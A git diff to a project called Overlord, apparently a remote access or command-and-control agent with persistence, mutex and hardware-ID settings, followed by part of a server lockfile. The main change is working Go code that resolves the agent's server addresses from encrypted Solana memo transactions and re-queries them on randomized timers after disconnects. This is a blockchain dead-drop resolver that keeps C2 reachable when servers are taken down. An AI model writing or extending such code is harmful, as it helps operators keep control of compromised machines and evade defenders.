diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 17425d3..7c18878 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -22,6 +22,9 @@ var AgentVersion = "1.6.8" var DefaultPersistence = "false" var DefaultServerURL = "wss://127.0.0.1:5173" var DefaultServerURLIsRaw = "false" +var DefaultServerURLIsSol = "false" +var DefaultSolAddress = "" +var DefaultSolRPCEndpoints = "" var DefaultMutex = "" var DefaultID = "" var DefaultCountry = "" @@ -48,6 +51,9 @@ type Config struct { ServerURLs []string ServerIndex int RawServerListURL string + SolEnabled bool + SolAddress string + SolRPCEndpoints []string Mutex string ID string HWID string @@ -80,9 +86,44 @@ func Load() Config { } rawServerEnabled := isTruthy(rawServerFlag) + solFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_SOL")) + if solFlag == "" { + solFlag = DefaultServerURLIsSol + } + solEnabled := isTruthy(solFlag) + + solAddress := strings.TrimSpace(os.Getenv("OVERLORD_SOL_ADDRESS")) + if solAddress == "" { + solAddress = strings.TrimSpace(DefaultSolAddress) + } + + solRPCEndpointsStr := strings.TrimSpace(os.Getenv("OVERLORD_SOL_RPC_ENDPOINTS")) + if solRPCEndpointsStr == "" { + solRPCEndpointsStr = strings.TrimSpace(DefaultSolRPCEndpoints) + } + var solRPCEndpoints []string + if solRPCEndpointsStr != "" { + for _, ep := range strings.Split(solRPCEndpointsStr, ",") { + ep = strings.TrimSpace(ep) + if ep != "" { + solRPCEndpoints = append(solRPCEndpoints, ep) + } + } + } + serverURLs := []string{} rawServerListURL := "" - if rawServerEnabled { + if solEnabled && solAddress != "" && len(solRPCEndpoints) > 0 { + agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN")) + if agentToken == "" { + agentToken = strings.TrimSpace(DefaultAgentToken) + } + if urls, err := LoadServerURLsFromSolana(solAddress, agentToken, solRPCEndpoints); err != nil { + log.Printf("[config] WARNING: failed to load server URL from Solana memo: %v", err) + } else { + serverURLs = urls + } + } else if rawServerEnabled { rawServerListURL = server if rawServerListURL != "" { if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil { @@ -152,6 +193,9 @@ func Load() Config { ServerURLs: serverURLs, ServerIndex: serverIndex, RawServerListURL: rawServerListURL, + SolEnabled: solEnabled, + SolAddress: solAddress, + SolRPCEndpoints: solRPCEndpoints, Mutex: strings.TrimSpace(mutex), ID: defaultHWID, HWID: firstNonEmpty(fileSettings.HWID, defaultHWID), diff --git a/Overlord-Client/cmd/agent/config/solana.go b/Overlord-Client/cmd/agent/config/solana.go new file mode 100644 index 0000000..be4d4b7 --- /dev/null +++ b/Overlord-Client/cmd/agent/config/solana.go @@ -0,0 +1,290 @@ +package config + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "strings" + "time" +) + +const solanaMemoProgramID = "MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr" + +type rpcRequest struct { + Jsonrpc string `json:"jsonrpc"` + ID int `json:"id"` + Method string `json:"method"` + Params []interface{} `json:"params"` +} + +type signatureInfo struct { + Signature string `json:"signature"` + Err interface{} `json:"err"` +} + +type signaturesResponse struct { + Result []signatureInfo `json:"result"` + Error *rpcError `json:"error"` +} + +type rpcError struct { + Code json.Number `json:"code"` + Message string `json:"message"` +} + +type transactionResponse struct { + Result *transactionResult `json:"result"` + Error *rpcError `json:"error"` +} + +type transactionResult struct { + Transaction parsedTransaction `json:"transaction"` +} + +type parsedTransaction struct { + Message parsedMessage `json:"message"` +} + +type parsedMessage struct { + Instructions []parsedInstruction `json:"instructions"` +} + +type parsedInstruction struct { + ProgramId string `json:"programId"` + Parsed interface{} `json:"parsed"` + Program string `json:"program"` +} + +func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) { + if solAddress == "" { + return nil, fmt.Errorf("solana address is empty") + } + if agentToken == "" { + return nil, fmt.Errorf("agent token required for solana memo decryption") + } + if len(rpcEndpoints) == 0 { + return nil, fmt.Errorf("no solana RPC endpoints configured") + } + + client := &http.Client{Timeout: 15 * time.Second} + + keyHash := sha256.Sum256([]byte(agentToken)) + log.Printf("[solana] using key hash prefix: %x (token len=%d)", keyHash[:4], len(agentToken)) + + var signatures []signatureInfo + var lastErr error + for i, endpoint := range rpcEndpoints { + if i > 0 { + time.Sleep(200 * time.Millisecond) + } + sigs, err := getSignatures(client, endpoint, solAddress) + if err != nil { + lastErr = err + log.Printf("[solana] RPC %s failed for getSignatures: %v", endpoint, err) + continue + } + signatures = sigs + break + } + if signatures == nil { + return nil, fmt.Errorf("all RPC endpoints failed for getSignatures: %v", lastErr) + } + + if len(signatures) == 0 { + return nil, fmt.Errorf("no transactions found for address %s", solAddress) + } + + for _, sig := range signatures { + if sig.Err != nil { + continue + } + + for j, endpoint := range rpcEndpoints { + if j > 0 { + time.Sleep(200 * time.Millisecond) + } + memo, err := getMemoFromTransaction(client, endpoint, sig.Signature) + if err != nil { + log.Printf("[solana] RPC %s failed for tx %s: %v", endpoint, sig.Signature[:16], err) + continue + } + if memo == "" { + break + } + + decrypted, err := decryptMemo(memo, agentToken) + if err != nil { + log.Printf("[solana] failed to decrypt memo from tx %s: %v", sig.Signature[:16], err) + break + } + + urls := parseMemoURLs(decrypted) + if len(urls) > 0 { + log.Printf("[solana] resolved %d server URL(s) from memo in tx %s", len(urls), sig.Signature[:16]) + return urls, nil + } + break + } + } + + return nil, fmt.Errorf("no valid decryptable memo found in recent transactions") +} + +func getSignatures(client *http.Client, endpoint, address string) ([]signatureInfo, error) { + reqBody := rpcRequest{ + Jsonrpc: "2.0", + ID: 1, + Method: "getSignaturesForAddress", + Params: []interface{}{ + address, + map[string]interface{}{"limit": 10}, + }, + } + + data, err := json.Marshal(reqBody) + if err != nil { + return nil, err + } + + resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data))) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + var result signaturesResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("failed to parse signatures response: %v", err) + } + + if result.Error != nil { + return nil, fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message) + } + + return result.Result, nil +} + +func getMemoFromTransaction(client *http.Client, endpoint, signature string) (string, error) { + reqBody := rpcRequest{ + Jsonrpc: "2.0", + ID: 1, + Method: "getTransaction", + Params: []interface{}{ + signature, + map[string]interface{}{ + "encoding": "jsonParsed", + "maxSupportedTransactionVersion": 0, + }, + }, + } + + data, err := json.Marshal(reqBody) + if err != nil { + return "", err + } + + resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data))) + if err != nil { + return "", err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + + var result transactionResponse + if err := json.Unmarshal(body, &result); err != nil { + return "", fmt.Errorf("failed to parse transaction response: %v", err) + } + + if result.Error != nil { + return "", fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message) + } + + if result.Result == nil { + return "", fmt.Errorf("transaction not found") + } + + for _, inst := range result.Result.Transaction.Message.Instructions { + if inst.ProgramId == solanaMemoProgramID { + if s, ok := inst.Parsed.(string); ok && s != "" { + return s, nil + } + } + } + + return "", nil +} + +func decryptMemo(memoBase64, agentToken string) (string, error) { + raw, err := base64.StdEncoding.DecodeString(memoBase64) + if err != nil { + raw, err = base64.URLEncoding.DecodeString(memoBase64) + if err != nil { + return "", fmt.Errorf("invalid base64 memo: %v", err) + } + } + + if len(raw) < 12+16+1 { + return "", fmt.Errorf("memo too short to be valid ciphertext") + } + + nonce := raw[:12] + ciphertext := raw[12:] + + keyHash := sha256.Sum256([]byte(agentToken)) + block, err := aes.NewCipher(keyHash[:]) + if err != nil { + return "", fmt.Errorf("failed to create AES cipher: %v", err) + } + + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return "", fmt.Errorf("failed to create GCM: %v", err) + } + + plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", fmt.Errorf("decryption failed: %v", err) + } + + return string(plaintext), nil +} + +func parseMemoURLs(decrypted string) []string { + var urls []string + seen := map[string]struct{}{} + for _, line := range strings.Split(decrypted, "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + normalized, err := normalizeServerURL(line) + if err != nil { + log.Printf("[solana] invalid URL in memo: %q: %v", line, err) + continue + } + if normalized == "" { + continue + } + if _, ok := seen[normalized]; ok { + continue + } + seen[normalized] = struct{}{} + urls = append(urls, normalized) + } + return urls +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 52d9fd5..fd95676 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -74,6 +74,10 @@ func runClient(cfg config.Config) { consecutiveFailures := 0 // idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections. allowTLSDowngrade := false + var lastDisconnect time.Time + var lastSolRefresh time.Time + solInitialWait := 2 * time.Minute + solRefreshInterval := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second for { @@ -97,9 +101,13 @@ func runClient(cfg config.Config) { if err != nil { log.Printf("dial failed: %v (retrying in %s)", err, backoff) consecutiveFailures++ + if lastDisconnect.IsZero() { + lastDisconnect = time.Now() + } - if shouldRefreshRawList(cfg, consecutiveFailures) { - if refreshServerURLsFromRaw(&cfg) { + if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { + if refreshServerList(&cfg) { + lastSolRefresh = time.Now() currentIndex = 0 consecutiveFailures = 0 } @@ -123,6 +131,7 @@ func runClient(cfg config.Config) { backoff = baseBackoff consecutiveFailures = 0 + lastDisconnect = time.Time{} // reset — we're connected log.Printf("connected successfully to %s%s", currentServer, serverInfo) conn.SetReadLimit(8 * 1024 * 1024) @@ -137,9 +146,11 @@ func runClient(cfg config.Config) { allowTLSDowngrade = false } log.Printf("session ended: %v (retrying in %s)", err, backoff) + lastDisconnect = time.Now() - if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) { - if refreshServerURLsFromRaw(&cfg) { + if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { + if refreshServerList(&cfg) { + lastSolRefresh = time.Now() currentIndex = 0 consecutiveFailures = 0 } @@ -184,6 +195,18 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) { return } + if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 { + log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress) + for len(cfg.ServerURLs) == 0 { + if refreshServerURLsFromSolana(cfg) { + return + } + log.Printf("Retrying Solana memo lookup in %s", backoff) + time.Sleep(backoff) + } + return + } + if cfg.RawServerListURL == "" { log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL) cfg.ServerURLs = []string{config.DefaultServerURL} @@ -210,6 +233,47 @@ func shouldRefreshRawList(cfg config.Config, failures int) bool { return failures >= len(cfg.ServerURLs) } +func shouldRefreshServerList(cfg config.Config, failures int, lastDisconnect, lastSolRefresh time.Time, solInitialWait, solRefreshInterval time.Duration) bool { + if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 { + if lastDisconnect.IsZero() { + return false // still connected, never refresh + } + sinceDisconnect := time.Since(lastDisconnect) + if sinceDisconnect < solInitialWait { + return false // wait 2 min after disconnect before first check + } + if !lastSolRefresh.IsZero() && time.Since(lastSolRefresh) < solRefreshInterval { + return false // not yet time for next periodic check + } + return true + } + return shouldRefreshRawList(cfg, failures) +} + +func refreshServerList(cfg *config.Config) bool { + if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 { + return refreshServerURLsFromSolana(cfg) + } + return refreshServerURLsFromRaw(cfg) +} + +func refreshServerURLsFromSolana(cfg *config.Config) bool { + urls, err := config.LoadServerURLsFromSolana(cfg.SolAddress, cfg.AgentToken, cfg.SolRPCEndpoints) + if err != nil { + log.Printf("[config] WARNING: failed to resolve server URLs from Solana: %v", err) + return false + } + if len(urls) == 0 { + log.Printf("[config] WARNING: Solana memo returned no valid URLs") + return false + } + if !equalStringSlices(cfg.ServerURLs, urls) { + log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls)) + cfg.ServerURLs = urls + } + return true +} + func refreshServerURLsFromRaw(cfg *config.Config) bool { urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL) if err != nil { diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 0418343..ec71530 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -6,6 +6,7 @@ "name": "overlord-server", "dependencies": { "@msgpack/msgpack": "^3.0.0", + "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "flag-icons": "latest", "geoip-lite": "latest", @@ -28,6 +29,8 @@ }, }, "packages": { + "@babel/runtime": ["@babel/runtime@7.29.2", "", {}, "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g=="], + "@colors/colors": ["@colors/colors@1.6.0", "", {}, "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA=="], "@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="], @@ -96,6 +99,10 @@ "@msgpack/msgpack": ["@msgpack/msgpack@3.1.3", "", {}, "sha512-47XIizs9XZXvuJgoaJUIE2lFoID8ugvc0jzSHP+Ptfk8nTbnR8g788wv48N03Kx0UkAv559HWRQ3yzOgzlRNUA=="], + "@noble/curves": ["@noble/curves@1.9.7", "", { "dependencies": { "@noble/hashes": "1.8.0" } }, "sha512-gbKGcRUYIjA3/zCCNaWDciTMFI0dCkvou3TL8Zmy5Nc7sJ47a0jtOeZoTaMxkuqRo9cRhjOdZJXegxYE5FN/xw=="], + + "@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="], + "@parcel/watcher": ["@parcel/watcher@2.5.6", "", { "dependencies": { "detect-libc": "^2.0.3", "is-glob": "^4.0.3", "node-addon-api": "^7.0.0", "picomatch": "^4.0.3" }, "optionalDependencies": { "@parcel/watcher-android-arm64": "2.5.6", "@parcel/watcher-darwin-arm64": "2.5.6", "@parcel/watcher-darwin-x64": "2.5.6", "@parcel/watcher-freebsd-x64": "2.5.6", "@parcel/watcher-linux-arm-glibc": "2.5.6", "@parcel/watcher-linux-arm-musl": "2.5.6", "@parcel/watcher-linux-arm64-glibc": "2.5.6", "@parcel/watcher-linux-arm64-musl": "2.5.6", "@parcel/watcher-linux-x64-glibc": "2.5.6", "@parcel/watcher-linux-x64-musl": "2.5.6", "@parcel/watcher-win32-arm64": "2.5.6", "@parcel/watcher-win32-ia32": "2.5.6", "@parcel/watcher-win32-x64": "2.5.6" } }, "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ=="], "@parcel/watcher-android-arm64": ["@parcel/watcher-android-arm64@2.5.6", "", { "os": "android", "cpu": "arm64" }, "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A=="], @@ -126,6 +133,18 @@ "@so-ric/colorspace": ["@so-ric/colorspace@1.1.6", "", { "dependencies": { "color": "^5.0.2", "text-hex": "1.0.x" } }, "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw=="], + "@solana/buffer-layout": ["@solana/buffer-layout@4.0.1", "", { "dependencies": { "buffer": "~6.0.3" } }, "sha512-E1ImOIAD1tBZFRdjeM4/pzTiTApC0AOBGwyAMS4fwIodCWArzJ3DWdoh8cKxeFM2fElkxBh2Aqts1BPC373rHA=="], + + "@solana/codecs-core": ["@solana/codecs-core@2.3.0", "", { "dependencies": { "@solana/errors": "2.3.0" }, "peerDependencies": { "typescript": ">=5.3.3" } }, "sha512-oG+VZzN6YhBHIoSKgS5ESM9VIGzhWjEHEGNPSibiDTxFhsFWxNaz8LbMDPjBUE69r9wmdGLkrQ+wVPbnJcZPvw=="], + + "@solana/codecs-numbers": ["@solana/codecs-numbers@2.3.0", "", { "dependencies": { "@solana/codecs-core": "2.3.0", "@solana/errors": "2.3.0" }, "peerDependencies": { "typescript": ">=5.3.3" } }, "sha512-jFvvwKJKffvG7Iz9dmN51OGB7JBcy2CJ6Xf3NqD/VP90xak66m/Lg48T01u5IQ/hc15mChVHiBm+HHuOFDUrQg=="], + + "@solana/errors": ["@solana/errors@2.3.0", "", { "dependencies": { "chalk": "^5.4.1", "commander": "^14.0.0" }, "peerDependencies": { "typescript": ">=5.3.3" }, "bin": { "errors": "bin/cli.mjs" } }, "sha512-66RI9MAbwYV0UtP7kGcTBVLxJgUxoZGm8Fbc0ah+lGiAw17Gugco6+9GrJCV83VyF2mDWyYnYM9qdI3yjgpnaQ=="], + + "@solana/web3.js": ["@solana/web3.js@1.98.4", "", { "dependencies": { "@babel/runtime": "^7.25.0", "@noble/curves": "^1.4.2", "@noble/hashes": "^1.4.0", "@solana/buffer-layout": "^4.0.1", "@solana/codecs-numbers": "^2.1.0", "agentkeepalive": "^4.5.0", "bn.js": "^5.2.1", "borsh": "^0.7.0", "bs58": "^4.0.1", "buffer": "6.0.3", "fast-stable-stringify": "^1.0.0", "jayson": "^4.1.1", "node-fetch": "^2.7.0", "rpc-websockets": "^9.0.2", "superstruct": "^2.0.2" } }, "sha512-vv9lfnvjUsRiq//+j5pBdXig0IQdtzA0BRZ3bXEP4KaIyF1CcaydWqgyzQgfZMNIsWNWmG+AUHwPy4AHOD6gpw=="], + + "@swc/helpers": ["@swc/helpers@0.5.21", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-jI/VAmtdjB/RnI8GTnokyX7Ug8c+g+ffD6QRLa6XQewtnGyukKkKSk3wLTM3b5cjt1jNh9x0jfVlagdN2gDKQg=="], + "@tailwindcss/cli": ["@tailwindcss/cli@4.2.2", "", { "dependencies": { "@parcel/watcher": "^2.5.1", "@tailwindcss/node": "4.2.2", "@tailwindcss/oxide": "4.2.2", "enhanced-resolve": "^5.19.0", "mri": "^1.2.0", "picocolors": "^1.1.1", "tailwindcss": "4.2.2" }, "bin": { "tailwindcss": "dist/index.mjs" } }, "sha512-iJS+8kAFZ8HPqnh0O5DHCLjo4L6dD97DBQEkrhfSO4V96xeefUus2jqsBs1dUMt3OU9Ks4qIkiY0mpL5UW+4LQ=="], "@tailwindcss/node": ["@tailwindcss/node@4.2.2", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.2" } }, "sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA=="], @@ -158,6 +177,8 @@ "@types/bun": ["@types/bun@1.3.11", "", { "dependencies": { "bun-types": "1.3.11" } }, "sha512-5vPne5QvtpjGpsGYXiFyycfpDF2ECyPcTSsFBMa0fraoxiQyMJ3SmuQIGhzPg2WJuWxVBoxWJ2kClYTcw/4fAg=="], + "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], + "@types/geoip-lite": ["@types/geoip-lite@1.4.4", "", {}, "sha512-2uVfn+C6bX/H356H6mjxsWUA5u8LO8dJgSBIRO/NFlpMe4DESzacutD/rKYrTDKm1Ugv78b4Wz1KvpHrlv3jSw=="], "@types/node": ["@types/node@25.5.0", "", { "dependencies": { "undici-types": "~7.18.0" } }, "sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw=="], @@ -166,10 +187,14 @@ "@types/uuid": ["@types/uuid@9.0.8", "", {}, "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA=="], + "@types/ws": ["@types/ws@7.4.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww=="], + "adm-zip": ["adm-zip@0.5.16", "", {}, "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ=="], "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], + "agentkeepalive": ["agentkeepalive@4.6.0", "", { "dependencies": { "humanize-ms": "^1.2.1" } }, "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ=="], + "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], "asn1.js": ["asn1.js@5.4.1", "", { "dependencies": { "bn.js": "^4.0.0", "inherits": "^2.0.1", "minimalistic-assert": "^1.0.0", "safer-buffer": "^2.1.0" } }, "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA=="], @@ -178,16 +203,28 @@ "autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="], + "base-x": ["base-x@3.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-xz7wQ8xDhdyP7tQxwdteLYeFfS68tSMNCZ/Y37WJ4bhGfKPpqEIlmIyueQHqOyoPhE6xNUqjzRr8ra0eF9VRvA=="], + + "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.10.9", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg=="], - "bn.js": ["bn.js@4.12.3", "", {}, "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g=="], + "bn.js": ["bn.js@5.2.3", "", {}, "sha512-EAcmnPkxpntVL+DS7bO1zhcZNvCkxqtkd0ZY53h06GNQ3DEkkGZ/gKgmDv6DdZQGj9BgfSPKtJJ7Dp1GPP8f7w=="], + + "borsh": ["borsh@0.7.0", "", { "dependencies": { "bn.js": "^5.2.0", "bs58": "^4.0.0", "text-encoding-utf-8": "^1.0.2" } }, "sha512-CLCsZGIBCFnPtkNnieW/a8wmreDmfUtjU2m9yHrzPXIlNbqVs0AQrSatSG6vdNYUqdc83tkQi2eHfF98ubzQLA=="], "browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], + "bs58": ["bs58@4.0.1", "", { "dependencies": { "base-x": "^3.0.2" } }, "sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw=="], + + "buffer": ["buffer@6.0.3", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.2.1" } }, "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA=="], + "buffer-crc32": ["buffer-crc32@0.2.13", "", {}, "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ=="], "buffer-equal-constant-time": ["buffer-equal-constant-time@1.0.1", "", {}, "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA=="], + "bufferutil": ["bufferutil@4.1.0", "", { "dependencies": { "node-gyp-build": "^4.3.0" } }, "sha512-ZMANVnAixE6AWWnPzlW2KpUrxhm9woycYvPOo67jWHyFowASTEd9s+QN1EIMsSDtwhIxN4sWE1jotpuDUIgyIw=="], + "bun-types": ["bun-types@1.3.11", "", { "dependencies": { "@types/node": "*" } }, "sha512-1KGPpoxQWl9f6wcZh57LvrPIInQMn2TQ7jsgxqpRzg+l0QPOFvJVH7HmvHo/AiPgwXy+/Thf6Ov3EdVn1vOabg=="], "caniuse-lite": ["caniuse-lite@1.0.30001780", "", {}, "sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ=="], @@ -202,8 +239,12 @@ "color-string": ["color-string@2.1.4", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg=="], + "commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], + "delay": ["delay@5.0.0", "", {}, "sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw=="], + "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], "ecdsa-sig-formatter": ["ecdsa-sig-formatter@1.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ=="], @@ -214,8 +255,18 @@ "enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="], + "es6-promise": ["es6-promise@4.2.8", "", {}, "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="], + + "es6-promisify": ["es6-promisify@5.0.0", "", { "dependencies": { "es6-promise": "^4.0.3" } }, 